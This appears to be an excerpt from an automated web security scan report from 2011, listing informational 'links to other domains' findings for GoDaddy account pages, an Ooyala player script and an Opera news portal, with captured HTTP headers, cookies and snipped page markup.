Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:24 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 295043

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="https://img1.wsimg.com/mya/css/1/mya_https_20101203.css" /><title>
...[SNIP]...
</style>
<link rel="shortcut icon" href="https://img1.wsimg.com/assets/godaddy.ico" /></head>
...[SNIP]...
<body id="body" style="margin: 0 0 0 0; padding: 0 0 0 0;" onunload="javascript:$j('body').html('');">

<script src="https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1" type="text/javascript"></script>

<script src="https://img1.wsimg.com/mya/scripts/jquery.stylish-select3.min.js" type="text/javascript"></script>
...[SNIP]...
</script>

<link href='https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css' type="text/css" rel="stylesheet" />

<script type="text/javascript" language="javascript" src="https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<a href="https://www.godaddy.com/affiliates/affiliate-program.aspx?ci=19439&isc=d0d8de1c80"><img alt="Get Started Button" src="https://img1.wsimg.com/mya/Banners/but_getstarted.png" /></a>
...[SNIP]...
</style>
<img id="AjaxSpinner" alt="" src="https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif" style="display:none;"/>
<div id="manager-disabled" style="display:none;">
...[SNIP]...
<div id="auction-list-integrated-menu" class="integrated-menu clear-fix" style="display: none;">
<img id="auction-progress" src='https://img1.wsimg.com/mya/indicator.gif'
alt="Please Wait..." style="margin: 5px; display: none;" />
</div>
...[SNIP]...
</a>
<img id="bids-progress" src='https://img1.wsimg.com/mya/indicator.gif'
alt="Please Wait..." style="margin: -25px 0 0 60px;" />
</li>
...[SNIP]...
<div id="products-progress" style="position: relative; float: left; margin: 5px 10px 0; display: none;">
<img src='https://img1.wsimg.com/fos/ani/spinner.gif' alt="Please Wait..." style="margin: 0; padding: 0;" />
</div>
...[SNIP]...
<div id="orders-pod-spinner" style="margin: -18px 0 0 -2px; position: absolute; display: none;">
<img src='https://img1.wsimg.com/fos/ani/spinner.gif' alt="Please Wait..." style="margin: 0; padding: 0;" />
</div>
...[SNIP]...
<div id="modal-spinner" style="position:absolute;z-index:10000;display:none;">
<img src='https://img1.wsimg.com/mya/1/dragon/ani/ani_wait_bar.gif' alt="Please Wait..." style="margin: 0; padding: 0;" />
</div>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...

15.31. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://mya.godaddy.com/myrenewals/myRenewals.aspx?ci=11279&tab=products

The response contains the following links to other domains:

https://email.secureserver.net/
https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
https://img1.wsimg.com/assets/godaddy.ico
https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif
https://img1.wsimg.com/mya/bg/hdr_myr.png
https://img1.wsimg.com/mya/css/1/mya_https_20101203.css
https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js
https://img1.wsimg.com/mya/scripts/jquery.ui.datepicker.min.js
https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1
https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js
https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:07 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:09:07 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx&sitename=mya.godaddy.com&page=/myrenewals/myRenewals.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=ci=11279&tab=products&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=4d9fa55d-454a-463a-ad89-702facb7913c&referringdomain=&split=45; domain=godaddy.com; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 222602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="https://img1.wsimg.com/mya/css/1/mya_https_20101203.css" />
<title>
...[SNIP]...
</style>

<link rel="shortcut icon" href="https://img1.wsimg.com/assets/godaddy.ico" /></head>
...[SNIP]...
<body id="body" style="margin: 0 0 0 0; padding: 0 0 0 0;" onunload="javascript:$j('body').html('');">

<script src="https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js" type="text/javascript"></script>
<script src="https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1" type="text/javascript"></script>

<script src="https://img1.wsimg.com/mya/scripts/jquery.ui.datepicker.min.js" type="text/javascript"></script>
...[SNIP]...
</script>

<link href='https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css' type="text/css" rel="stylesheet" />

<script type="text/javascript" language="javascript" src="https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
<div>
<img src="https://img1.wsimg.com/mya/bg/hdr_myr.png" alt="banner" />
<div class="s10" style="clear:both;">
...[SNIP]...
<br />

<img alt="" src="https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif" />
<br />
...[SNIP]...
<br />

<img alt="" src="https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif" />
<br />
...[SNIP]...
</table>

<img id="AjaxSpinner" alt="" src="https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif"
style="display: none;" />

<div id="myr-ErrorPopup" style="width:543px;font-family:Arial;font-size:12px;display:none;" >
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...

15.32. http://player.ooyala.com/player.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://player.ooyala.com
Path:	/player.js

Issue detail

The page was loaded from a URL containing a query string:

http://player.ooyala.com/player.js?width=388&height=290&embedCode=BxcnZkMjpvja5pkM5Te_e_rArpHwljfi

The response contains the following link to another domain:

http://www.adobe.com/go/getflash/

Request

GET /player.js?width=388&height=290&embedCode=BxcnZkMjpvja5pkM5Te_e_rArpHwljfi HTTP/1.1
Host: player.ooyala.com
Proxy-Connection: keep-alive
Referer: http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=131238736.759487282.1315547307.1315547307.1315547307.1; __utmz=131238736.1315547307.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _mkto_trk=id:447-EQK-225&token:_mch-ooyala.com-1315547307468-28819

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 16 Sep 2011 15:24:27 GMT
Content-Type: text/javascript; charset=utf-8
X-Ooyala-Server-Id: i-0f00f56e
X-Pad: avoid browser bug
Content-Length: 26157
Cache-Control: private, max-age=300
Date: Fri, 16 Sep 2011 15:27:29 GMT
Connection: close
Vary: Accept-Encoding

(function(){var f="9.0.115";var K="6.0.65";window.OOYALA_PLAYER_JS={};var j=(navigator.appVersion.indexOf("MSIE")!==-1)?true:false;var R=(navigator.appVersion.toLowerCase().indexOf("win")!==-1)?true:f
...[SNIP]...
<td align="center"><a href="http://www.adobe.com/go/getflash/" style="color:white"><span style="font-size:12px">
...[SNIP]...

15.33. http://portal.opera.com/portal/tabs/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://portal.opera.com
Path:	/portal/tabs/

Issue detail

The page was loaded from a URL containing a query string:

http://portal.opera.com/portal/tabs/?tab_name=News

The response contains the following links to other domains:

http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php
http://edition.cnn.com/2011/WORLD/africa/09/16/kenya.kidnapped.tourist/index.html?eref=edition
http://edition.cnn.com/2011/WORLD/europe/09/16/switzerland.bank.lost/index.html?eref=edition
http://edition.cnn.com/2011/WORLD/europe/09/16/uk.wales.mine/index.html?eref=edition
http://feedads.g.doubleclick.net/~at/4mZi0y9-ohHyuA4YaBpRaUeRLdw/0/da
http://feedads.g.doubleclick.net/~at/4mZi0y9-ohHyuA4YaBpRaUeRLdw/0/di
http://feedads.g.doubleclick.net/~at/4mZi0y9-ohHyuA4YaBpRaUeRLdw/1/da
http://feedads.g.doubleclick.net/~at/4mZi0y9-ohHyuA4YaBpRaUeRLdw/1/di
http://feedads.g.doubleclick.net/~at/GBGx9FMwvt6cy5Ly2i_YedrLVeA/0/da
http://feedads.g.doubleclick.net/~at/GBGx9FMwvt6cy5Ly2i_YedrLVeA/0/di
http://feedads.g.doubleclick.net/~at/GBGx9FMwvt6cy5Ly2i_YedrLVeA/1/da
http://feedads.g.doubleclick.net/~at/GBGx9FMwvt6cy5Ly2i_YedrLVeA/1/di
http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/0/da
http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/0/di
http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/1/da
http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/1/di
http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/0/da
http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/0/di
http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/1/da
http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/1/di
http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/0/da
http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/0/di
http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/1/da
http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/1/di
http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/0/da
http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/0/di
http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/1/da
http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/1/di
http://feeds.abcnews.com/click.phdo?i=82c08359e23b7a4bc05c6e5858889e7d
http://feeds.abcnews.com/click.phdo?i=92ab1f0ada6b58f9957ae4a74b42eef1
http://feeds.abcnews.com/click.phdo?i=d5bf9eaa317b032947df1054204384f0
http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Frb527jEt8w/chi-emanuel-to-city-workers-use-wellness-plan-or-pay-more-for-insurance-20110916,0,3843783.story
http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Z6WBgp-lEg8/chi-accident-death-new-lenox-palos-hills-20110916,0,6826974.story
http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/c0JClkK-bgM/chi-sex-offender-charged-with-making-threat-against-madigan-20110916,0,1147402.story
http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/cpygPuPGtBY/chi-justo-gladstone-park-homicide-beating-20110916,0,4980461.story
http://feeds.foxnews.com/~r/foxnews/most-popular/~3/2s-MNSVrppM/
http://feeds.foxnews.com/~r/foxnews/most-popular/~3/F-6vMP5QgKo/
http://feeds.foxnews.com/~r/foxnews/most-popular/~3/Z4zvAI5JmLY/
http://feeds.latimes.com/~r/latimes/news/~3/Fi2c7UNyLQo/la-fi-ubs-fraud-20110916,0,5595595.story
http://feeds.latimes.com/~r/latimes/news/~3/UgMeSl8M4rY/la-fgw-libya-fighting-20110917,0,3237612.story
http://feeds.latimes.com/~r/latimes/news/~3/szzSL9INU9I/la-fg-merkel-woes-20110916,0,6269365.story
http://feeds.nytimes.com/click.phdo?i=12c0f5b81aea691984590fbe615ee48e
http://feeds.nytimes.com/click.phdo?i=7377bc014fd7340269e5107284823df9
http://feeds.nytimes.com/click.phdo?i=d730b049eea1149b1eee452f0bcb484c
http://feeds.politico.com/click.phdo?i=16d0b3cc957550880148d568463b1199
http://feeds.politico.com/click.phdo?i=23cfbc74356e5bcf9ff47a2e8f09a761
http://feeds.politico.com/click.phdo?i=4c13bb36f9884e02f2504daebb91abfb
http://feeds.politico.com/click.phdo?i=649cedd8031e35c26f5dca96f92fa840
http://feeds.politico.com/click.phdo?i=6b4b66d838e4b305c2e69bf876ffd039
http://feeds.politico.com/click.phdo?i=cbf37eb1101ccbc54a1a315904c9717c
http://feeds.politico.com/click.phdo?i=db11fdeab74ef66ff554f834b8dd5e5f
http://feeds.politico.com/click.phdo?i=db9b0c3aa22e46e7e44a68bc3c653622
http://feeds.politico.com/click.phdo?i=dff44d839a446e6f1031175aaa42023d
http://feeds.politico.com/click.phdo?i=ef2ab6deb28c34038239d6751ed679fc
http://feeds.washingtonpost.com/click.phdo?i=010ebbf4e7915314287995aba7ae0d1e
http://feeds.washingtonpost.com/click.phdo?i=493d0cb72504ade02c5358fa499150d6
http://feeds.washingtonpost.com/click.phdo?i=f2da411114510f46bd5afc3dab82be5a
http://images.pheedo.com/images/mm/delicious.gif
http://images.pheedo.com/images/mm/digg.gif
http://images.pheedo.com/images/mm/emailthis.png
http://images.pheedo.com/images/mm/facebook.gif
http://images.pheedo.com/images/mm/google.png
http://images.pheedo.com/images/mm/reddit.png
http://images.pheedo.com/images/mm/stumbleit.gif
http://images.pheedo.com/images/mm/twitter.png
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://rover.ebay.com/ar/1/711-53200-19255-8/1?campid=5336830850&toolid=71153200192558&customid=&mpt=[CACHEBUSTER]&adtype=1&size=300x250&mpvc=
http://rover.ebay.com/rover/1/711-53200-19255-8/1?campid=5336830850&toolid=71153200192558&customid=&mpvc=
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=b4t4LiHfLp0:tCkP2h2wMCY:-BTjWOF_DHI
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=b4t4LiHfLp0:tCkP2h2wMCY:yIl2AUoC8zA
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=vppTbG__PPs:63bVs9_B3Mk:-BTjWOF_DHI
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=vppTbG__PPs:63bVs9_B3Mk:yIl2AUoC8zA
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=zWrjfiFwgWY:OD7FYn1h28g:-BTjWOF_DHI
http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=zWrjfiFwgWY:OD7FYn1h28g:yIl2AUoC8zA
http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/b4t4LiHfLp0/1
http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/vppTbG__PPs/1
http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/zWrjfiFwgWY/1
http://ws.amazon.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822%2FUS%2Fopera-20%2F8002%2F238229ae-452b-41fb-b7b3-1913a7cb0733&Operation=NoScript
http://ws.amazon.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733
http://www.huffingtonpost.com/2011/09/16/memorable-college-football-games-last-5-seasons_n_966240.html
http://www.huffingtonpost.com/2011/09/16/mexico-zoo-zambada-animals_n_966212.html
http://www.huffingtonpost.com/2011/09/16/palestine-statehood-bid-mahmoud-abbas_n_966256.html
http://www.huffingtonpost.com/2011/09/16/palestinians-to-seek-full_n_966252.html
http://www.huffingtonpost.com/2011/09/16/pennsylvania-to-rule-on-p_n_966251.html
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:03d6b8df7267f253e107160f0a47f3da:uIckAG0pH5LXIbB3c4KrhKG%2FWS%2BpnE8YObKbymPBtBKUCVG%2Bdck3F9MTjqWvu3VngoQi%2BlbnitK6tdU%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:069b78aaad01245184fb982f7cc98d77:bZ0qguRZNO%2B1qg5wRdgR%2BMAmqvHycOZQWGmYFB5HNVs5xRBMRwRMA%2B3717su1h7jVEN5Lf3cVQNiDMQ%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:06fd0a876e811dbfec64224eb666b4a9:B37QcdLy2uVNPflgKCQFBCl6kNwk2UTfyi%2FEuCQaZmPlRNLAo866aKMimJh4nzzN88x%2Fo7AVCpsShA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:07d83733e9cd90da9d72bc73b5226544:SiQj4u8b%2FcH%2BamOXbmC11ZwAW0FxxmEJkXzPe13cE9G7NYki7J%2BZS9lE2Uv84Fuhw%2Fayuw%2FNmZ6Vvmk%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:09414cd950f83c51ae2b183db5a9bb6e:Fa24w0FK6zL1z%2Bf40Zp5Pwz7r6vJvRZ0IFutfuIIcZgr4a8MHamCQZUvZZWlHJudq4LyeIHpabpWHw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:09857ff200e5abd66591ac54b6298af8:GZi7z9kBfZjxkF02WS1XpwNxstOsejoxAGClc5OBeX4Qo5FNh4%2FplCD9nCAQFb6R6mb4sTG13NwV8A%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:09cdbe29ad4567423783286e764b43c1:2gFXenmVTrWyBx708evuaUUg1ntDARyKDmk9%2FaVPs2NdugvsZSKJ4BkNAH%2BKq%2FRTrFUPT0cDPdYNm9k%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:0a4ab08a46c1e542da7da2415334901e:IXlXwN%2Fd3L7gzX2XhhMqR8JvG2owec6gqVrsBLucSBsU9h2%2BpVk%2BcVUUtMbpbHQNZY%2BB6WsjmPN4kA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:0aeaa3512c88d2c044788ff8afb93a5d:rrmlNpNCbypzQz0X%2Fs8sTDzybngD1kTzONiSW35kS46dcPL9VtRaPGKzWn%2FMFZQd38T8HqVkM2HPRQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:0bd62913dfa783b5510f36ebe3b4c58e:6zfkGMxvoDg%2FwdzfOMJ8sAhEOHSmv%2FqTBcsEfr9PZc5ZbB7WZQtypjLEjqemUSoKt1c9AjREfxn6Q9I%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:0e6799c28de2dcdc79f12082bffa3011:ncGKIXxXTADQHxdApOl2%2BhW5blB7Yhqs6G8wadh3YQ7KSbfSUQ4c8m4xte9kXOafDrrZw4F0KTVG8PA%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:0fbacaf9634e6c796450ead95806aa6f:Krdg7gT1eReN57zfqtHlj3W%2FqACO49WuvkhRQC5UrSzWjRAiMnvG8T3TwvF1QoK2z7514fbbi0gdaQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1162f9a4f4544b8d93212ea04b30f3b5:NvoRVmmOrgZ%2BjqTmSdceAWfWOMY5SIIvjXgJwyniBEkiKhk%2FwRpf64DPpV8JBo2K%2FMkx9GgkBqswgmw%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:160b097cfc899bedef1747205581a755:G5enu4LL5Dnjfkh6OoZ%2F4cV5ndosnzRXSsIcxysVBoH3oHhZ0adAb%2FigfBR9qEXks8KcgKuF0lprxw0%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:17ebedcfb696e35bf5d944b84ce62c1a:N3KrhN87z9lSsPFxz9b3ow9V2TD%2FBY9N4YHOSDTx8BSOnut70VmPqgfeqUge7nYiSV9hzw9jMY34iQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:19632b1a3dd7347a5ed9bebf8aa8016c:%2FIBPc%2FCdaQAuzDc8luNQt4TY8MzLQkEGiRIlpCZXkPaaQkRCs9DWBgObatIm4wS%2B8hnZcmzSw%2F5ER0w%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1a51ea5ac220ce3ac1aa5bfd9ac6c77a:Nu%2F1FyEtJCoT%2Fw6K9eRFvzO%2F9Ur5lIImuJvXOa3ljkqID5VnPyJ0Wnv9vrBwe21jxh3nBoqLTRhCA58%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1b7cfaf3c40b4a980afb564e90e76f18:zg1FpKM6cwW9TQR9UlWb96E9qOrkQZbmuq4TBeRQfn6mKHrV7ptjTKzb4Dj%2B1pfYOQi81y5qit67pmE%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1e02feb6e3d57702b3b13eb759519b3a:1WJ6f%2BXatTnx83nePqcclVdS3ywVzm02Njse6k7Ge9YhIN03sBj5%2B9%2BsCi8bH2nUM%2Bp%2BevSUNVYYSw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1fac8be16882fb6baca597daa6cde2d4:CvRYIaG0mLQYpfqc0AUrharphIWCVuMNsxdIQNM8g%2BpvCwMqnS%2FblMDiu3iUTuyebN%2FSC42QKIswSwY%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:227af06f8d1bf6ec40356673201a62ee:R5o%2FjiIKN8uRbTo0S8Ti0i5UbuMA6lAjmXI4xWhwXqwslzkdPGcnBSk8Um4jM6EEBz6%2BAYmL9JVER7Y%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:233f1f876592a2b905b05ebdeb75eda0:q5fj7sn7ff%2BtNsWm3wCJTeNOMTg3cg%2FX9INEsfxAV99xBnlGrw8Z%2BQR%2Fc330Jd%2FETYYYkrzyokDqmg4%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:26cb75744dbb640ab13a1646430b530b:svwZ83P%2F%2FJ2TtM1d%2F3LbG2gc587p6NIEC44ToruxMicT5TKZDpo%2BeNzB6DpWRattPek%2FUeIv9s1FIuY%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:2a437e346c91bfe93ba3108d11d963fc:FGTT47x2XPiSQHepWRP5n%2BiflqJyudiLdi1c%2B2GsdfoUNzFk8m2oIvFOy8M%2FPewTRc7JARXv7xv9nrE%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:2eed2063b27640ee0cd0c3c577efd87d:mkW7026fpnPXHlgWjY824FHXXQ%2BHYWaS%2FbqmvJ0L4CKoAjVyL8GIIX5IoskZ1oR7yDdrk7Bioi6AjA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:30e9c8afae4a1389378aaf40a72aeb2c:bWV8YIi3zRsQY5bP3qWP%2BKc6BwPYt7d%2BIj3CqWQaWBZ%2Fz6HgwGAezmzP2e4vzWT4xw1VkI4SYteF3g%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:358c595dd796564fc554751b07003d99:Yt7aN0vEIvzcHk2GVqFIkIsTLgXBuwNxsGuI9W%2BwD0Mk0m1DjqgGurJQaFjFQR8bgeY3KWE67LC54w%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:3cbe7d72ad21766618b0170ec3bcfd73:Tl6T75kYaoi7XFGYBoOXMR4f5QycMo%2ByfmFUY9tz8dGLv0XrGsRpGpkFRCgmYPTmZGpo0rHrGBIEPQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:3e66a08937abb8e3558c8c072a770930:DBT5UVQFGUkDsrUyDiYe7i9DUIHmvI3VQyR8z7Mrh1Dqs4NJxzdvcas5VTPSS5hKcB9np%2BZCd8covF4%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:3f336ac94ff5e6e319fd33cd1b7932a7:UP0gbq0IZAfKll8TtlQUowaxzqFoJGlkKbvISu8mEmajh0x%2FlbcBsckoi7qLNHhzqQsOr4IApItWSQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:436e277e40f3f5a6216b7495f9795c4c:%2BSiul%2BGrdRqnMaflXzDD9RreKF%2BCjouQmr3Umtu6Hlml9Fw53dhxfjHhtSdv6okfCDzIhXVIFEDSKtI%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4aab9a4a68d95a87dba26ec50d2263bf:sFEhCoonHjRd4H01vQCQuYqleAwMVo3XATdHuRpvd1tk29oF2%2BJqpsBFHZ8ayJrddr61H2DFhih9Lw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4b2c749782448392976d492ac3d75c29:Pi6k7fE0qD5QxLPj1CkqJMYKWU%2BmNhL4FbFwGp251Be8kxrEC9FrRgSaiA0cI8MewkTZqyRFBzQ%2Fbsw%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4b54171bd4931a5c5055fa5f73f5a2f6:xLWS91Mj5TE7nqgJGG1dP4PolFmKRlajBdFNj1LPwIuAfW80iBB9fSdpsk6iVmqIn0fUFQnRJjeBsg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4be90df6b092fc917029d8828e4694cf:aj%2BPgp8tN6wzo3pCTDEtCBhXdgjmeMvIPnlXZxHQVjVqqK47LopKENk9vZu8%2FzpEF3gIUT85fUbkzg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4d0c78ccecbacc012e0529aac4fd2ddd:eJqq51O0zSasRe0BB6tQdhwszFVoCtMkTboObIUfPPKJ4Zza0CtxOZzVGmSlkLve%2FY4OAkrav%2BQ6sXk%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4d73012d922c3afc24f0ed92ccd7db92:mdl6mYDy870nTr8e4zoZ7tJu8XiIcdI2s3bUKPjHdkH%2BGAbg7hIKSAyLLlGRuzBF%2FQ6ErJRNV4OPDQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4faf8842a9ef35addc36ffb420bf8aea:0tFuUFn03xZrTeZO9jjj5eUSRNB4HdSh1mjPc%2BDV0GhoermUq4E8b3%2F0n8gS51iDtJprbkv6W5%2Bp4Q%3D%3D
